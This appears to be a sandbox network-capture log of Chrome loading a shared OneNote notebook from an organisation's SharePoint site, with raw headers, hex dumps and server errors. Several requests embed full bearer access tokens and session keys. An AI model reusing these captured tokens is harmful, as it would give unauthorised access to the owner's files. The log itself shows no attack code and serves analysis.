2024-04-26 07:59:20 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-04-26 07:59:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49809	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:20 UTC	2574	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":6,"MsSinceStart":6814,"Value":"RecordAppInteractive","Type":"BootPhaseCompleted"},{"Index":7,"MsSinceStart":7753,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:20 UTC	1608	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7200b95d-4305-4225-af18-27ad8328eff2 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C3 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C3 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wordcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 244AAF68B60049B789A3109CE5653A3B Ref B: MIA301000108051 Ref C: 2024-04-26T07:59:20Z Date: Fri, 26 Apr 2024 07:59:20 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49814	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:20 UTC	3613	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f OrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:21 UTC	1078	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6f08f6c0-8388-4ccf-afde-961fd484b4e7 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C0 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7D8DD6D0E0864F62A5FD1E04970AF9D3 Ref B: MIA301000105031 Ref C: 2024-04-26T07:59:20Z Date: Fri, 26 Apr 2024 07:59:20 GMT Connection: close
2024-04-26 07:59:21 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-04-26 07:59:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49830	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:21 UTC	3613	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f OrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:22 UTC	1077	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 9b02be7a-6c99-47de-89a0-89672fb4411a X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C5 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C5 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 618135C8E3A74A0DAF87B182836ADF75 Ref B: MIA301000104051 Ref C: 2024-04-26T07:59:21Z Date: Fri, 26 Apr 2024 07:59:21 GMT Connection: close
2024-04-26 07:59:22 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-04-26 07:59:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49838	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:22 UTC	3488	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 15164 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-AccessTokenTtl: 1714154349045 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 